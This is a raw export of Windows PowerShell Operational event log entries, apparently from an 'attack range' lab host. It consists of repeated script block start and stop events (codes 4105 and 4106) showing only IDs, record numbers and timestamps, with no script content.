ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035755
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035753
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035752
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035735
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035729
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035715
Keywords=None
